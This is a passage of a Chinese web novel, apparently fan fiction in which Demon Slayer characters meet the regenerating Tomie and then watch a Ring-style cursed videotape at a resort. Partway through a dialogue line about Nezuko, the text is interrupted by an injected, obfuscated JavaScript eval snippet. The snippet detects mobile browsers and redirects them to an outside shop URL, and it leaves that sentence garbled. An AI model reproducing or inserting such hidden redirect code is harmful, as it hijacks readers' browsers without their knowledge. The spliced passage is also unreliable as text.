是面无表情地站在那里,最后还是富江给了其中一人一个眼神,他们才行动起来,两个男人挟持住眼镜男。 “我们这就将他送到警局。”他们说道。 “等一下,我跟着一起去。”炭治郎闻出这些人的状态很不对,就好像被控制了一般。 正想跟着他们一起走,但还没走两步,便被一把推开。 “滚开。” “喂!大叔你们什么态度!”伊之助扶起炭治郎,不爽地质问着。 可是那些人却理都不理他们,继续朝前走着,并继续讨好富江。 “什么人嘛!”被无视的伊之助很不高兴。 炭治郎有些担忧地看被带走的男人,还想追上去,但这时恰巧有一辆经过,拦住了他们,等他再想追的时候,已经没影了。 “权八郎!俺说你就不应该管那个人。”伊之助不高兴道。 “反正那个女人让俺浑身不舒服,绝对不是什么好人。”他野兽般的直觉是这么告诉自己的。 “不管是不是好人,也不能看着她去死,不是吗?”炭治郎笑眯眯地说道。 并没有因为刚刚被人推了一把而有任何生气。 但是回家的路上,炭治郎脑海之中一直在想富江的事,这倒不是因为他也被富江给蛊惑了,只是在想她究竟是什么人? 为什么自己明明从那个人身上没有闻出怪物的气息,但却有一种异样感。 “她是不是鬼呢?无惨?” 炭治郎不懂就问无惨。 “你接受我的力量,我就告诉你。”无惨依旧是有条件的。 炭治郎在一片水雾中走进浴缸,开始泡澡:“那还算了吧。” 他并没有在那个富江身上闻到他人的血腥味,应该不会有什么大问题吧。 眼下还是专心把无惨从身上弄下来吧。 炭治郎看着自己水面的倒影,平静地想道。 舒舒服服地泡了一个澡后,炭治郎擦着头发从浴室走了出来。 “竹雄,你可以去洗了。”他顺手拿起吹风机,并提醒竹雄去洗澡。 “好。” 竹雄从电视机前起身,进浴室去洗澡。 炭治郎坐在他的位置上,边吹头发,边看着新闻。 新闻正在报道一桩凶杀案。 “今日在南桥下,警方发现两具尸体,分别为男性——小林真治,35岁,女性——川上富江,17岁。” “其中女方的尸体被人恶意分尸,经调查分尸者极有可能就是小林真治。” “怎么会这样?” 在看到死者照片放出来后,炭治郎手中的吹风机掉了下来。 他不可思议地瞪着那两张照片,那照片上不是别人,正是白天遇到的富江和那个想杀富江的眼镜男。 最终他还是没能阻止这场悲剧吗? 他的目光紧盯电视上的那团马赛克照片,显然那是已经被分尸的富江,几个小时前还是鲜活的美人,此刻已经变成冰冷的尸体。 炭治郎死死盯着那张马赛克的照片。 总觉得哪里不对劲,却又一时之间想不起来,只是死死地盯着没有打到马赛克的光洁手臂。 直到躺在床上时,他还在想这件事,直到半夜他突然惊醒。 是伤口! 他亲眼看到了小林真治,划伤了富江的手臂,但是那张照片里,手臂没有一丝伤口! 18. 第 18 章 “小朋友,感谢你来提供线索。” 警局内,警察记录下炭治郎所提供的线索。 “和我们猜的一样,两名死者是因为感情问题而产生了冲突。” “但是我们已经比对过DNA了,确定了那就是川上富江的尸体没有错。” 根据这个小弟弟所讲,真正的富江应该是手臂受伤的,但是他们调查过尸块,并不是拼凑出来的,那就是川上富江本没有错。 “可我…明明看到了她受伤的。” 炭治郎可以肯定这一次绝不是幻觉,他看得清清楚楚,那位富江小姐受伤了,而且他也闻到血腥味,是绝对没有错的。 “难不成,是的死是富江小姐的双胞胎姐妹?”炭治郎沉思着分析道。 两名做记录的警局对视一眼:“我们知道了,小弟弟,我们会按照这个方向去查的,看看死者是不是独生女。” “嗯,辛苦警察叔叔了。” 听到警方愿意好好查一查,炭治郎这才安心很多。 不能让那位富江小姐不明不白地死掉。 出了警局,炭治郎仍然有些忧心忡忡。 他在想,如果当时自己强烈地要求跟上去的话,说不定那两个人都不会死了。抱着这样的愧疚,他来到花店买了一束花,来到案发现场。 原本热闹的南桥,可能因为发生过凶杀案,路人避之不及,一下冷清了不少。 炭治郎将鲜花放在桥边,双手合十替富江小姐默哀。 这时一阵风吹来,炭治郎闻到了一股幽香。 他立刻慌了神一般,跑到桥下,那是富江被杀的地方,此刻桥洞边还残留浓烈的血腥气,就是在这阴冷潮湿的地方,却坐着一个女人,那个少女肌肤白皙,不着寸缕,神色淡漠地坐在那里。 比起桥下出现一个没穿衣服的女人,更让炭治郎震惊的是对方的模样。 那张脸,只要是见过的人,绝对不会忘记。 川上富江。 那个明明已经死了,被警察收尸的女人,此刻活生生地出现在了这里。 炭治郎很肯定,那就是富江,对方的气息和昨天自己见的那人一模一样。 但比起这个,他赶紧脱下外套,替对方披上。 “富江小姐,你还活着太好了。” “你知不知道,有一个和你长得差不多的人死了,她是你姐妹吗?” “我带你去警局吧,去了警局你就安全了。” 说着,他就要送对方去警局,但却被猛地推开。 “哈哈哈…” 对方放肆地笑着,但因为那张绝美的脸,又显得十分优雅。这个女人身上每一处,无一不是上帝精心雕琢出来的。 “长得差不多?姐妹?开什么玩笑,那只是一个冒牌货罢了,我才是真正的富江。” 好冷血! 炭治郎看着眼前喜怒无常的美人,从她对人命满不在乎的模样,他感觉到对方是真的对生命十分漠视。 漠视到让人感到不寒而栗! 突然他发现了什么。 这个富江小姐手臂也没有伤! 那么长的一道伤口,仅仅一个晚上就能好吗? “你究竟是什么人?”炭治郎问道。 “我?”富江二郎腿,似笑非笑地盯着炭治郎,就像是勾人心魄的妖精。 “富江,川上富江。” 她是富江,仅此而已。 说完,她站了起来,朝炭治郎走来,然后就像看不到炭治郎这个人一样,从他身边头也不回地走过,朝着更前方走去了。 炭治郎不知道她要去哪,也不知道富江究竟是个什么东西?更不明白为何富江会死而复生。 但是他有一件事是知道的,那个富江绝不是人。 那一天之后,炭治郎暂时失去了富江的消息,不过他想那位富江小姐,或许依旧被很多人簇拥着,过着奢华的生活吧。 不过现在的炭治郎也顾不上想富江的事,因为考试周到了。 看着桌上的历史卷子,炭治郎咬着笔头,露出痛苦的神色。 这题炼狱老师应该讲过,但是自己给忘了… 本来他的成绩就只能算中等,这段时间又在一直忙着驱除无惨的事,根本就没有好好复习。 算了,根据直觉选一个吧。 于是他凭感觉选了c。 “错了,这题应该是a。” 他刚落笔,无惨的声音便响了起来。 “无惨你确定吗?”炭治郎疑惑道。 这无惨那么中二,脾气也不好,居然会做历史题吗? “不必怀疑我,我当时就在那里。” “这样啊,这可是战国时代,五百多年前的事了,无惨你死了那么久啊。” 炭治郎边聊,边继续往下写。 但显然一旦涉及到自己过去的事,无惨便闭口不言了,他只是淡淡道:“为什么不改过来?” “因为这算作弊吧。”炭治郎说道。 即使旁人看不到无惨,也听不到他说话,可是一旦自己接受了无惨的提示,这和作弊没有任何区别。所以哪怕炭治郎知道答案错了,也不会改,即使最后考得不好。 没有接受无惨提示的炭治郎果然在这一次考试里发挥得不好。 最终几门课的成绩公布出来时,还比平日里掉了几名。 看着自己中下游的成绩炭治郎有些失落。 “哈哈,炭八郎,咱俩的名字排一起呢!” 同样成绩一般的伊之助倒是十分开心地拍着炭治郎的后背,并没有觉得哪里有问题。 善逸恨铁不成钢地看着这两人:“你这只野猪,有什么可高兴的!你们成绩都下滑多少名了!” 亏他们上次还举办学习小组,结果他和玄弥成绩都上去了,结果这两人还往下掉了。 “炭治郎也就算了,为什么你这只野猪成绩也下滑啊!” “怎么!你不服气啊!”伊之助依旧气势满满。 “这有什么好争的啊!”善逸简直跟不上对方的脑回路,明明是在说他成绩下滑,结果这只野猪是一点也没有在听。 善逸不得不告诉他,如果他的成绩再下滑下去,就考不上大学了? 但显然伊之助理解不了,考不上大学又能怎么样?大学能吃吗? 善逸简直要被他逼疯,抱着头在那里痛苦哀号。 就在这时忍笑眯眯地朝他们走来。 “啊,炭治郎,善逸,伊之助你们都在啊。” 看到忍过来,善逸立刻换了一副表情,笑容灿烂! “忍学姐,你是来找我的吗?”他自动把炭治郎和伊之助排除在外。 忍:“嗯,我来找你们,这周未有空吗?” 善逸狠狠点头,他那天就算没空也会有空的! 伊之助:“有什么困难要找俺吗?” 炭治郎:“有空的。” 忍:“那祢豆子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041396|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢?” “也有空。” “那太好了,我刚好从打工的地方获得了几张度假村的票,如今考试结束,我们一起去放松一下吧。” 说着她从口袋里拿出四张票来,分别递到他们手上。 拿到票的善逸格外激动:“真的吗?真的给我吗?” “我真的可以忍学姐还有祢豆子妹妹一起度过美好的两天一夜吗?” “好激动,好激动,好幸福。” 善逸捧着脸,激动得语无伦次,那股尖叫把周围一样在看成绩的学生们吓得纷纷退后了好几步。 炭治郎将票收好:“忍学姐,谢谢你邀请我们。除了我们几个,还有谁会参加吗?” “我妹妹香奈乎也会去,本来想叫上姐姐的,但姐姐有研讨会要参加,所以就不来了。” “我还把票给了时透兄弟,他们那天也正好有空。” “是吗!时透和他哥哥也会来!太好了。” 炭治郎掰着手指数人数:“那这样我们一共就有八个人了。” 人多就代表着热闹,但是… “我们怎么过去呢?”他刚刚看到票上的地址还挺远的。 “这个嘛,我在考虑要不要找个老师陪同,到时就可以开车去了。但我问了一圈…”忍露出为难的神色… 悲鸣屿老师要去孤儿院做义工、炼狱老师要带弟弟去看生病的妈妈、实弥老师一堆弟弟妹妹要照顾、伊黑老师神神秘秘地不说要去哪、甘露寺老师要去相亲、宇髓老师忙着去联谊… “他们都没有空呢!”忍微笑道。 “这样啊,那确实不方便。”炭治郎附和道。 “没有车怎么办,只能坐电车了。”善逸叹气道。 “那咱们跑着去吧!”伊之助倒是想得简单。 “笨蛋,那得跑一天一夜了!” “没关系,俺能跑!”伊之助自豪道。 “啊啊啊!你这只野猪!” “咦,义勇老师,你在那多久了?” 就在善逸和伊之助吵吵闹闹之时,炭治郎几步上前,打开窗户,对着蹲在窗下的义勇问道。 义勇看着前方,神色淡然:“没多久。” “是吗?” 明明这个人在忍学姐来之前就一直在这里了。 炭治郎没有拆穿他,反而突然像是想起了什么似的:“对了,义勇老师会开车吧。” “嗯。” “那这周六有空吗?” “嗯。” 听到这话,炭治郎高兴地转身指着义勇对忍道:“忍学姐,那就让义勇老师来开车送我们吧。” “义勇老师,你说呢。” “随便。” 忍微笑道,表情没有半分惊呀:“对呀,还有义勇老师呢。” “那义勇老师,明天就拜托你喽,记得租辆大点的车。”她来到窗边和炭治郎站在一起,低头看着蹲在那里不知道有多久了的义勇,笑着嘱咐道。 义勇不说话,依旧蹲在那里。 炭治郎:“那就拜托你了,义勇老师。租车钱,我们大家会一起出的。” “哦。” 忍把最后一张票递给义勇后,便和炭治郎几人一起离开,他们商量着明天要去哪里集合比较方便。 拿到票的义勇,抬头看着蓝蓝的天。 被邀请了。 果然他和大家相处得很好,同样也被邀请了,可以和学生们一起去玩了。 19. 第 19 章 周六一大早,原本应该因放假而冷清的鬼灭学校门口,此刻聚满了人。 “大家,不好意思我们来晚了。” 临近出发,炭治郎才拉着妹妹祢豆子匆匆跑来。 善逸看到祢豆子两眼放光,今天的祢豆子可是绑了两条麻花辫,而且还穿着常服,可爱极了。 “祢豆子酱,可爱内!”善逸毫不吝啬地夸奖道。 “谢谢。”祢豆子微笑道。 “炭治郎!好久不见啊!” 自上次运动会就没有再和炭治郎见过的时透,高兴地扑上前去。 炭治郎:“好久不见时透,恭喜你这次考了年级第一。” 昨天看榜时,他看到时透的成绩依旧是排在了第一。 他牵着时透的手还想说些什么,却被猛地拍开。 有一郎不快道:“你们还想聊到什么时候去。” “好了,我们快走吧。” 忍推着众人,义勇已经在学校停车场等他们了。 他很听话地租了一辆小面包来,此刻已经坐在了驾驶位上。三个女生坐在最后的长排,善逸和伊之助坐在倒数第二排,时透兄弟坐在他们前面,他们都很自觉且快速地找到座位。 义勇看了一眼,自己旁边的副驾驶,炭治郎闻到一股失落的味道。 “炭治郎。” “哥哥,这里还能坐一个人。” 香奈乎和祢豆子招乎炭治郎和她们一起坐,但炭治郎摇了摇头,他来到副驾驶。 “义勇老师,我能做这边吗?”他笑着问道。 义勇手握方向盘:“你想坐就坐。” “谢谢。”炭治郎坐上副驾驶,系上安全带。 随着炭治郎关上车门,义勇这才发动汽车,随着车子驶动,车窗外的景色也发生了变化。众人都很期待这一次的旅行,女生们开始商量起等一下到了度假村后做些什么了。 根据忍所说,那里设施完善,风景优美,而且还有一个网球场。 祢豆子:“那等一下,我们就去打网球吧!” 善逸立刻附和道:“好啊,好啊,祢豆子妹妹我们一起组好不好。” 时透:“那炭治郎我们一起组队好不好。” 伊之助:“等一下!权八郎应该和俺一起组队!” 时透:“就你,别给炭治郎造成麻烦了。” “你才别给炭八郎拖后腿了!一决胜负吧!看看谁才能和圆五郎一起组队!” 有一郎:“不许欺负我弟弟!有本事跟我比!” 仅仅只是网球比赛谁跟谁组队而已,车上吵得不可开交,如果是正常司机的话早就大吼着让他们安静下来了,但义勇依旧面无表情地开着车,只是内心满是疑惑。 为什么没人和他组队。 明明他是体育老师,也会打网球。 一路吵吵闹闹地开了两个多小时的车,他们离城镇越来越远,逐渐驶入郊区,四周山清水秀炭治郎等人欣赏着这一路山程的美景。 在这片山清水秀里,他们来到度假村。 度假村很大,有他们两个学校那么大。但因为是新开的原因,部分设施还没有完善,人也很少。他们这几个人估计就是第一批游客,但也因此所有的设施都很新。 “各位客人,欢迎光临。” 度假村的老板娘是个四十左右妇人,穿着和服,保养良好,有一种岁月沉浸气质。 除了她以外,还有两男一女的工作人员。 其中一位男性工作人员,带着他们来到小木屋。 木屋分上下两层,有八个房间,这就意味着,有两个人要挤一间。 好在忍和香奈乎本来就是姐妹,她们两人也愿意挤在一起睡。 “祢豆子要一起吗?” 进屋前忍还向祢豆子发出邀请,小姐妹睡一间房,说起悄悄话来也方便些。 “好啊。”祢豆子抱着行李,跟着她一起进了二楼最里面的房间。 “喂!炭八郎跟俺一起住!晚上玩枕头大战!” 伊之助把准备住在祢豆子隔壁的炭治郎,往楼梯口那间拽,但另一人赶紧跑来,搂住炭治郎的手臂! 时透:“等一下!炭治郎应该跟我一起住!” “你走开!圆次郎应该跟俺这个老大一起住!” “你才走开,你晚上呼噜那么响,别吵到炭治郎了!” “无一郎,你松开他!听话!跟哥哥一起睡!” “不要,哥哥,我要和炭治郎一起。” 这几个人吵着谁跟谁一起睡,而善逸已经背着行李赶紧跑进祢豆子旁边的那间屋子。 嘿嘿,这下离祢豆子最近的是他了! 而另一边的义勇,拎着行李一言不发地看着还在吵的炭治郎等人,见没有人邀请他,他默默地走进善逸隔壁的房间。 “别吵了,别吵了,大家一起住吧。” 最终伊之助、时透、有一郎谁也没有吵出结果来,还是炭治郎张开双臂,将他们搂进怀里,表示既然决定不了,那就一起住吧。 就这样明明房间充足,但还是剩下四间房,大家都友好地住在二楼,彼此相亲相爱。 收拾好东西,众人便去了忍所说的那处网球场。虽然他们谁也带球拍,但最这边的商铺可以租,不仅是球拍,运动服、鞋子、护腕都可以租到。 于是他们决定打一场男女混合的双人比赛。 善逸很高兴!因为无论和谁组队,他都可以! 时透不高兴,这就意味着他不能和炭治郎一起组队了! 有一郎也不高兴!他弟弟那么柔弱,万一伤到了怎么办! 面对抽签条,善逸是高高兴兴地第一个抽的。 “一定要是祢豆子妹妹!一定要是祢豆子妹妹!”他满怀激动、小心翼翼地打开了纸条… “啊啊啊…” 下一刻尖叫声响起,因为他是替补。 最终先上场的四人是伊之助和香奈乎组队,时透和忍组队,义勇当裁判,而炭治郎、祢豆子、有一郎和善逸则当替补,准备随时轮换。 “嘿嘿。”善逸笑嘻嘻地坐在祢豆子旁边。 虽然没能上场,但这样能和祢豆子坐在一起,已经让他很高兴了。 “大家加油!” “忍学姐!香奈乎加油!” 炭治郎和祢豆子为众人加油。 “无 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伊之助和香奈乎输了之后,替换上场的是善逸和祢豆子,这次善逸终于如愿了,整张脸笑得跟朵花一样。 “祢豆子妹妹,放心吧,我会保护你的。” “善逸,我们只是打网球而已啊?”祢豆子笑容尴尬。 但善逸已经决定,一定要祢豆子妹妹面前表现出帅气的一面!所以他一定会努力的! 半个小时后… “炭治郎!炭治郎!” 善逸哭着扑到炭治郎面前:“那个一年级的太过分了!为什么那么强啊!为什么一球也不让我赢!为什么不让我在祢豆子面前表现出帅气的一面!啊啊啊!太过分了!” 他哭得眼泪鼻涕一起流,好不可怜。 他想得很好,在这场网球比赛中,让祢豆子妹妹看到他可靠的一面,但现在全被时透给毁了。 时透在一旁冷笑一声,自己网球技不如人,还有脸在炭治郎面前哭。 最终这场比赛在忍和时透的完全碾压下结束了比赛。 打了两场比赛,众人也都饿了,度假村里还有露天烧烤的地方,于是他们决定大家一起烧烤。 大家一起烧烤,一起聊天,一起拍照,一起享受青春。虽然义勇从头到尾没说过几句话,但好在炭治郎很会聊天,大家以他为中心,用饮料干杯,并感谢忍送他们度假村的票,才让他们享受了这么美好的一天。 为了这美好的一天,大家再次举杯庆祝。 吃过烧烤,下午的时间,他们在度假村闲逛起来。有人把这里当冒险基地,有人四处欣赏风景,有人去钓鱼,有人孤零零地坐在那里… 本来他们还想好好享受下午悠闲的时光,然而就在傍晚时,突然天色大变,一大片乌云遮盖了原本晴朗的天空,淅沥沥的大雨落下,众人不得不回到小木屋中。 一开始所有人都以为只是一场普通的雨而已,但随着狂风大作,屋外的风呼呼作响,屋内信号都受到了影响,所有人的手机,不仅没有信号,就连WiFi也没有。 他们这才知道事情的严重性。 20.第 20 章 “好大的雨,也不知道明天雨能不能停。” 炭治郎站在窗边,看着屋外狂风大作,豆大的雨滴砸在玻璃上发出石头落地般响声。 他放下窗帘转身看到在客厅打牌的众人。 幸运的是电力设备没有毁坏,所以小木屋里的家电都是可以用的,冰箱里的食物和水充足,他们自己也带了点吃的过来了。 关于吃食方面,完全不用担心。 只是… “好无聊。” 伊之助躺在地上,很是无聊的样子。 没办法,没有信号,也没有网络。看不了电视,手机也跟块板砖没什么区别,一副扑克牌而已,很快就玩腻了。 这样的暴雨天,几人都略显沉闷地坐在那里。 “我给大家去准备点喝的吧。” 看大家打不起精神,炭治郎便提议要给他们准备饮料。 “哥哥,我来帮你。”祢豆子赶紧起身,跟着炭治郎一起进厨房。 两人来到厨房,木屋的厨房很宽敞,牛奶、果汁、茶叶、咖啡都有,非常齐全,但只有摩卡壶,只能自己煮咖啡。 但好在炭治郎也会用摩卡壶。 “祢豆子,麻烦找些杯子出来。”他一边磨着豆子,一边嘱咐道。 “好。”祢豆子去打开柜子,想找杯子。 “咦?这是什么?” 刚打开门,她就愣在那里。 “怎么了祢豆子。” 炭治郎走上前,和祢豆子一样,只见偌大的柜子里,只放了一个漆黑的小盒子。 这是什么? 他将那东西拿起来一看,是一盒录像带。 “你们呆愣在那边干什么呢?” 此时恰巧伊之助进来找吃的,便看到愣在那里的炭治郎,他走上前疑惑地看着炭治郎手上的东西。 “这个是录像带,是以前看电影用的。”炭治郎解释道。 “这样啊,那里面是不是有电影?”伊之助问道。 “可能吧。”只是这盒子黑漆漆的也不知道有什么电影。 话音刚落,伊之助便从他手上夺过录像带,冲出去在大喊:“喂,大家来看电影吧。” “等一下,伊之助。这东西太老了,没有放映机根本看不了!” 然而令炭治郎没有想到,在这个小木屋里,居然真的有放映机。 “现在居然还有这么老的东西。”时透看着伊之助找到的放映机,感到很不可思议。 毕竟这里也算是高级度假村了,居然还保留着几十年前的东西,虽然看着很新的样子,也不知道能不能用。 “试试就知道了。”忍笑眯眯地说道。 反正闲着也是闲着,不如看场电影,曾经的老片子也别有一番风味。 在义勇的安装下,他将放映机连接电视,接通电源后,放映机能正常工作。 于是他就将那盒录像带,放了进去。 “那我开始放了。”义勇面无表情道。 众人已经将沙发合力搬来到电视前,此刻都坐在那里,一齐点了头。 随着按下播放键,电视上出现了画面。 那是一团闪烁的光点,光点逐渐蠕动,变化出字来。 “必须看完它” “会被鬼吃掉。” 看这字幕,居然还是一部恐怖片吗? 善逸已经害怕得缩在沙发上,其他几人要不兴奋,要不兴致平平。但炭治郎突然感觉到一股心悸,他的喉咙发干,突然有不好的预感,他们可能打开了什么绝对不能打开的东西。 电视上的画面还在继续… 雪花闪烁间,他们看到一个面容模糊的男人在朝圆形洞口往下望,然后是长发女人对着镜子梳头,很多人惊恐地在斜坡上爬,大量的文字如蚂蚁般扭曲乱动着但“火山喷发”这几个字格外显眼,头上盖着布的人指大海,一口荒凉的枯井,一只瞳孔中倒映着“贞”字的眼睛… 这些画面诡异又毫无联系… 看得人云里雾里,更让人云里雾里的是接下来又出现的一段文字… “看完这个的人七天后会死,想要活命就…” 画面戛然而止,黑漆漆的画面里倒映着众人神色各异的脸… “啊啊啊!我要死了,我要死了!” 善逸第一个抱头嚎叫。 “我还没有女朋友怎么就要死了呢!” “善逸,你冷静一点,这估计只是谁的恶作剧罢了。” “切,这么胆小,那种画面有什么可怕。” 大厅乱哄哄的,善逸在尖叫,众人在压制着他…一片混乱之中,炭治郎捂着嘴冲了出去! 他猛地推开厕所门,双手扶着洗手盆,恶心感再也忍不住… “呕~” 腹部一阵翻涌,酸水涌出,中午还没消化完的食物也吐出来。 炭治郎打开水龙头,额角的冷汗滑落,滴入水中… “哈哈哈…炭治郎你完了!你还有可恨的鬼杀队都完了!” “你逃不掉了,灶门炭治郎,除非继承我的力量,否则你们都要死!” 无惨的狂笑以及那一字一句,都让炭治郎感到彻骨的寒冷。 那盒录像带不是什么开玩笑,那是真的!是真正的诅咒… “炭治郎!” “哥哥,你怎么了?” 众人跑了过来,想知道炭治郎怎么了。明明只是一盒录像带罢了,内容确实诡异,但也不应该吓成这样才对。 可是炭治郎的不舒服不像假的,作为妹妹的祢豆子,担忧地走上前。 炭治郎猛地用冷水泼脸,使自己清醒一点,他缓缓转头,水滴顺着脸颊滑落…炭治郎不知道现在自己的表情是什么样的,但他想一定非常难看吧。 这种情况下,他实在笑不出来,也没办法作出任何隐瞒… “那盒录像带是真的。” 话音刚落,所有人的手机都响了包括炭治郎的,他们拿起手机,明明此刻因为天气原因,手机并没有信号,那这通电话是谁打来的? 善逸吓得根本不敢接,别说是他了,其他人也任由那铃声不断作响,各色铃声交织在一起,仿佛地狱来音。 炭治郎深吸一口气,接通电话。 电话那头传来女人的声音。 “看完了吧,按照要求去做,否则死。” 那语气很平静,只是听那清冷的声音,便能让人浮想联翩,电话那头究竟是一个怎么样的美人。 然而此刻炭治郎却是很愤怒。 “你究竟是什么人!究竟要我们做什么!” 录像带最后的解咒之法被人为地抹去了,这让他们如何达成此人的要 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他本来就是胆子最小的那个,现在遇到这种会死人的灵异事件,更是红眼眶。 “我觉得炭治郎说得对,我们得再看一遍。虽然不知道,是谁删掉了后面的内容,但这录像带本身就是一个线索。”作为学姐的蝴蝶忍明显就沉稳多了,即使知道自己命不久矣,也依旧很淡定。 时透也表现出不符合年龄的沉稳:“忍学姐说得对,而且我们还有七天的时间。” 他们不是马上就死,七天的时间虽然不算充足,但也算是给一段缓冲时间。 义勇已经打了放映机:“事不宜那迟,再看一遍吧。” 他自始至终都没有什么表情,好像感觉不到害怕一般。虽然平日里这样看着多少有些高冷,但此刻他这翻表现,反而给了众人安心感。 炭治郎将录像带放进去,众人又再一次看起那个奇怪的影像,一遍又一遍,直到外面风雨声都停歇,一缕阳光从天际洒落。 忍手捧咖啡,淡淡地抿了一口:“虽然不知道是谁录下的这部影片,但很肯定,这个不是机器录的。” 有一郎:“对啊,这不是鬼录的吗?” 他们都接到了那个鬼的电话了。 伊之助:“可恶的鬼!等她出来,俺一定要砍下她的头!” 他似乎还没有意识到问题的严重性,只想要好好教训那鬼。 “姐姐,你是说这些影片录出来的方式不对劲吗?” 还是血脉相连的香奈乎,更了解自家姐姐,她敏锐地察觉出姐姐话里的意思。 忍点点头,她将影片倒带,暂停在第一幅画面上。 “你们看这个,像不像是有一个人站在井底往上看?” 祢豆子:“这么一说,确实像。” “这种角度画面,根本不像是任何摄影设备,录出来的。” “更像是…” “人眼。”时透接了她的话。 义勇垂眸:“也就是说这些影片,是某个人亲眼见证的吗?” “也不全是,像这一幕全是文字的,就比较抽象,很像只是脑内的画面。”忍继续调着画面。 “我怀疑有人将自己的意念投射到了录像带上。” 21.第 21 章 “那岂不是超能力!”善逸不敢置信地大叫道。 自裂口女之后,他又遇到超能力者了吗? 忍点头:“对,就是超能力。” 也只能超能力,才能解释得通这么离奇的录像带。 “我在书上看到过,在世纪末前后,有一段时间流行过超能力潮流。” 虽然那个时候有很多骗子假冒超能力者,但是忍相信他们手中这盘录像带是真正的超能力者用意念投射出来的。 只是如今那位超能力者大概率已经死了。 像这么老旧的东西,是几十年前产物,现在除了一些收藏家之外,根本不可能还会有人在用。因此她可以断定,刻下这盘录像带的人,也肯定是几十年前的人了。 有一郎:“无论是时间,还是范围都太大了,简直是大海捞针。” 炭治郎打气道:“是难,但我们不能放弃。” 他不能就这样束手就擒地看着自己的妹妹还有朋友死去,就算再难也要找到破局的方法。 “不错,现在雨停了,我们去问问度假村的人,看看有没有人知道,这盘录像带是怎么来的,或许可以找到些许线索。”忍说道。 众人说干就干,毕竟关乎自己的性命,他们连早饭也没有吃,便赶往工作人员的宿舍。 只是他们还没有靠近,便听到警笛声。 他们赶紧跑上前,想查看情况发现员工宿舍门前,停了两辆警车和一辆救护车。 度假村老板娘流着泪和警方交谈着什么,医护人员抬着一副担架走了出来,那一刻炭治郎眼睛瞪大,一阵风从他身后吹过,吹动担架上的白布,他立刻捂住妹妹的眼睛。 随着白布吹起,他和众人看到了早已冰冷的工作人员尸体。 只见那名工作人员张大着嘴,表情扭曲,像是临死之前见到了什么极为恐怖的东西,就连死也不冥目。 尸体的模样太过骇人,医护人员赶紧将布盖好,然后将那具尸体抬上车。 死的是一名男性工作人员,站在警戒线外的另外两个工作人员,男人神色哀伤,而女人哭得泪流满面。 “姐姐给你,想必那个哥哥,也不愿意见到你太伤心了。”炭治郎把手帕递给女工作人员。 女生接过手帕面露惊讶:“你怎么知道。” “姐姐脖子上的项链是那个哥哥送的吧。”炭治郎闻出项链上,有刚刚被风吹起白布的那死者的味道。 想必两人是恋人关系吧。 女生轻抚着脖子上的项链,神色更加哀伤:“是啊,是他送我的。” 他们本来已经约定好今年结婚的,可是… “节哀。”炭治郎又一次劝慰着。 许是因为身边有人陪伴,所以女生的心情平复了很多,见对方似乎冷静了些,炭治郎轻声开口道。 “能告诉我,昨天发生什么事了吗?为什么那个哥哥会…”炭治郎有些不忍说下去了。 明明昨天他们刚到这里时,那个人还好好的,怎么一夜之间就死了呢? 提起恋人,女生又忍不住落泪,她擦拭着那怎么也止不住的泪水,哽咽道:“我也不知道,明明昨天晚上时,我和达也还在通话,但今天早上他就…” 早上雨一停,她就跑去敲门,想和恋人一起去捞池子里的落叶。 可她敲了半天都没有人开门,于是拿了备用钥匙打开了门,结果却看到… 女生想起惨死的恋人,忍不住想吐,眼泪更是簌簌流下。 看着对方如此伤心的模样,这不是炭治郎想看到的,可是现在他的朋友们性命垂危…他不得不继续问下去。 “那哥哥死之前,有没有异样,或是提到过什么?比如说录像之类的。”他试探着问道。 “录像带?”女生愣了一下。 “对了,好像一周前他有说过,自己弄来了一盘灵异传说的录像带,他一向对于这种东西很感兴趣。” 她回忆着这几天发生的事,突然情绪激动起来:“是不是那盘录像带害死了他!是不是!” 她原先是不相信这个的,但是现在恋人以这样一副姿态惨死,让她不得不怨恨起来。 炭治郎:“姐姐,你冷静一点,现在死因还不知道,不是吗?” 虽然经历了昨晚那样的事,可是那个死者究竟是不是看过录像带后死的,还不能下决定。 炭治郎的话让女生冷静了一点,她因自己的失态对炭治郎说抱歉,然后就被警方叫走了。 警方怕也是从老板娘那里知道了她与死者的关系,加上她是第一案发人,所以将她叫去做笔录。 另一边忍也从老板娘那也打探完了。 老板娘对于这次的事也是十分吃惊,因为就在一个月前,她还给所有员工做过体验,大家都是二十五六岁的年轻人,身体指标十分健康。 完全可以排除遗传病和急性病之类的,这么一看,那人的死亡就十分可疑了。 炭治郎将录像带是死者于一周前带回来的,并且极有可能已经看过录像带的事说了出来。 但由于解法被抹消掉了,他没有办法自救,最终导致死亡。 “这样看的话,那人确实是死于这盘神秘的录像带。”忍听完炭治郎的报告,垂下眼眸。 事情的发展应该是这样的,一周前喜好灵异的达也先生,不知道从哪里得来一盘带有诅咒的录像带,然后看了里面的内容,因此中了诅咒。 因为录像带中最后一行字被抹掉了,所以他解咒失败,于今天早上死亡,死前不知看到了什么,可能是鬼来索命,所以才呈现出那样的姿态。 时透:“应该是这样没错了,如果能知道死者是从哪里得到的录像带就好了。” 忍:“这个应该不难,死者七天前才得到的录像带,去他房间翻翻,应该能找到线索。只是…” 现在那里被警戒线拦了起来,想要进去怕是不容易。但好在他们人多,想不引起他人注意翻进去,还是能想想办法的。 在忍的安排下,由义勇去拖住老板娘,香奈乎和祢豆子拖住女工作人员,时透兄弟去拖住男工作人员,伊之助和善逸放风,她和炭治郎分别去死者和死者女友房间寻找线索。 由于今天下午就要离开了,所以他们说干就干,趁着警方离开后不久,就各自行动起来。 时透兄弟叫来男工作人员,说是木屋的水管出来问题,让他来修。香奈乎和祢豆子则安慰着失去恋人的女工作人员 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也因此,被炭治郎等人接触到了,原本只待两天一夜的炭治郎等人,在度假村玩都来不及,并不会有那闲心去看一盘古旧的录像带。可是人算不如天算,一场大雨,让无事可做的他们,打开了那盘禁忌的录像带。 来不及让炭治郎想那么多,他赶紧在屋内翻找起来,屋内的东西实在太多了,而且他还得小心翼翼地不弄乱警方在地上画的人形标志,一时之间根本没有找到什么线索。 那些收集的灵异之物,看起来也根本没有什么用。 